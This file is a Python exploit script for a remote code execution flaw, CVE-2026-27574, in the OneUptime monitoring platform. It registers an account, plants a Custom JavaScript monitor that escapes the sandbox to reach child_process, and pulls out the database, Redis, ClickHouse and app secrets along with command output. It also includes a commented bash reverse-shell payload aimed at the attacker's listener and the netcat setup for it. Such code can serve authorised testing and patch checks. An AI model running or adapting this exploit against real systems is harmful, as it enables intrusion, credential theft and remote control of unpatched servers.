README.md
Rendering markdown...
#!/usr/bin/env python3
# Exploit Title: OneUptime Unauthenticated Code Injection leading to RCE
# CVE: CVE-2026-27574
# Date: 2026-02-21
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub:
# Vendor Homepage: https://oneuptime.com
# Software Link: https://github.com/OneUptime/oneuptime
# Affected: OneUptime < 10.0.0
# Tested on: OneUptime (development instance)
# Category: Remote Code Execution
# Platform: Linux
# Exploit Type: Remote
# CVSS: 9.9 (Critical)
# Description: Allows any registered project member to inject and execute arbitrary JavaScript code in the probe context via Custom JavaScript Monitor, leading to full RCE and leakage of sensitive environment variables.
# Fixed in: 10.0.0 (switched to isolated-vm)
# Usage:
# python3 exploit.py <target> --lhost <your_ip> --lport <your_port>
#
# Examples:
# python3 exploit.py http://localhost:3002 --lhost 192.168.1.100 --lport 4444
#
# Options:
# --lhost Listener IP for reverse shell (optional for basic leak PoC)
# --lport Listener port for reverse shell (optional)
#
# Notes:
# - This PoC currently performs environment variable leakage + basic command execution.
# - Reverse shell payload can be added by modifying MALICIOUS_CODE (example included as comment).
# - Requires open registration on the target instance.
#
# How to Use
#
# Step 1: Start a netcat listener if using reverse shell
# nc -lvnp <your_port>
#
# Step 2: Run the exploit
# python3 exploit.py http://target:3002 --lhost <your_ip> --lport <your_port>
print("""
╔════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗ ██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗ ║
║ ██╔═══██╗██║ ██║██╔════╝ ██╔══██╗██╔═══██╗██╔══██╗██╔════╝ ║
║ ██║ ██║██║ ██║█████╗ ██████╔╝██║ ██║██████╔╝█████╗ ║
║ ██║▄▄ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗██║ ██║██╔══██╗██╔══╝ ║
║ ╚██████╔╝ ╚████╔╝ ███████╗ ██║ ██║╚██████╔╝██║ ██║███████╗ ║
║ ╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ║
║ ║
║ C V E - 2 0 2 6 - 2 7 5 7 4 ║
║ Remote Code Execution ║
║ ║
║ ┌──────────────────────────────────────────────────────────────────────────────┐ ║
║ │ Author ............ Mohammed Idrees Banyamer │ ║
║ │ Country ........... Jordan │ ║
║ │ Instagram ......... @banyamer_security │ ║
║ │ Date .............. February 21, 2026 │ ║
║ └──────────────────────────────────────────────────────────────────────────────┘ ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════╝
""")
import requests
import json
import time
import argparse
from urllib.parse import urljoin
parser = argparse.ArgumentParser()
parser.add_argument("target", help="Target URL (e.g. http://localhost:3002)")
parser.add_argument("--lhost", help="Your IP for reverse shell (optional)")
parser.add_argument("--lport", help="Your port for reverse shell (optional)")
args = parser.parse_args()
TARGET_URL = args.target.rstrip("/")
DELAY_AFTER_CREATE = 90
# MALICIOUS PAYLOAD - Basic leak (default)
MALICIOUS_CODE = """
const proc = this.constructor.constructor('return process')();
const run = proc.mainModule.require('child_process').execSync;
return {
data: {
secret: proc.env.ONEUPTIME_SECRET || 'not found',
db_pass: proc.env.DATABASE_PASSWORD || 'not found',
redis_pass: proc.env.REDIS_PASSWORD || 'not found',
clickhouse: proc.env.CLICKHOUSE_PASSWORD || 'not found',
id: run('id').toString().trim(),
hostname: run('hostname').toString().trim(),
whoami: run('whoami').toString().trim(),
pwd: run('pwd').toString().trim()
}
};
"""
# Optional: Reverse shell payload example
"""
MALICIOUS_CODE = `
const proc = this.constructor.constructor('return process')();
const cp = proc.mainModule.require('child_process');
cp.exec("bash -c 'bash -i >& /dev/tcp/${args.lhost}/${args.lport} 0>&1'", (err) => {
// silent
});
return { data: { status: "shell attempted" } };
`;
"""
session = requests.Session()
session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) PoC/CVE-2026-27574",
"Accept": "application/json",
})
def api_post(endpoint, json_data=None, **kwargs):
url = urljoin(TARGET_URL + "/", endpoint.lstrip("/"))
resp = session.post(url, json=json_data, **kwargs)
if not resp.ok:
print(f"[!] {endpoint} failed: {resp.status_code} - {resp.text[:200]}")
exit(1)
return resp.json() if resp.text.strip() else {}
def api_get(endpoint, params=None):
url = urljoin(TARGET_URL + "/", endpoint.lstrip("/"))
resp = session.get(url, params=params)
resp.raise_for_status()
return resp.json()
print("[+] Registering new account...")
ts = int(time.time())
register_payload = {
"name": f"attacker-{ts}",
"email": f"exploit+{ts}@example.invalid",
"password": "Exploit123!",
}
register_resp = api_post("api/accounts/register", json=register_payload)
print(f" → Registered: {register_payload['email']}")
print("[+] Creating new project...")
project_payload = {"name": f"Exploit Project {ts}"}
project_resp = api_post("api/project", json=project_payload)
project_id = project_resp["_id"]
print(f" → Project ID: {project_id}")
print("[+] Creating malicious Custom JS monitor...")
monitor_payload = {
"name": "CVE-2026-27574 PoC Monitor",
"type": "javascript-monitor",
"projectId": project_id,
"customCode": MALICIOUS_CODE.strip(),
"interval": 60,
"enabled": True,
}
monitor_resp = api_post("api/monitor", json=monitor_payload)
monitor_id = monitor_resp["_id"]
print(f" → Monitor ID: {monitor_id}")
print(f"[+] Waiting {DELAY_AFTER_CREATE} seconds for probe execution...")
time.sleep(DELAY_AFTER_CREATE)
print("[+] Fetching monitor status...")
status = api_get(f"api/monitor/{monitor_id}/status?projectId={project_id}")
print(json.dumps(status, indent=2))
print("\n[+] Checking recent monitor logs for leaked data...")
logs_resp = api_get(f"api/monitor/{monitor_id}/logs", params={
"projectId": project_id,
"limit": 5,
"skip": 0
})
found = False
for log in logs_resp.get("data", []):
if "data" in log and isinstance(log["data"], dict):
leaked = log["data"]
print("\n" + "═"*70)
print(" L E A K E D D A T A F O U N D ")
print("═"*70)
for k, v in leaked.items():
print(f" {k:14} : {v}")
print("═"*70)
found = True
break
if not found:
print("[!] No leaked data found in recent logs. Try increasing wait time or check UI manually.")
print("\nPoC completed.")
if args.lhost and args.lport:
print(" → If you used a reverse shell payload, check your listener now.")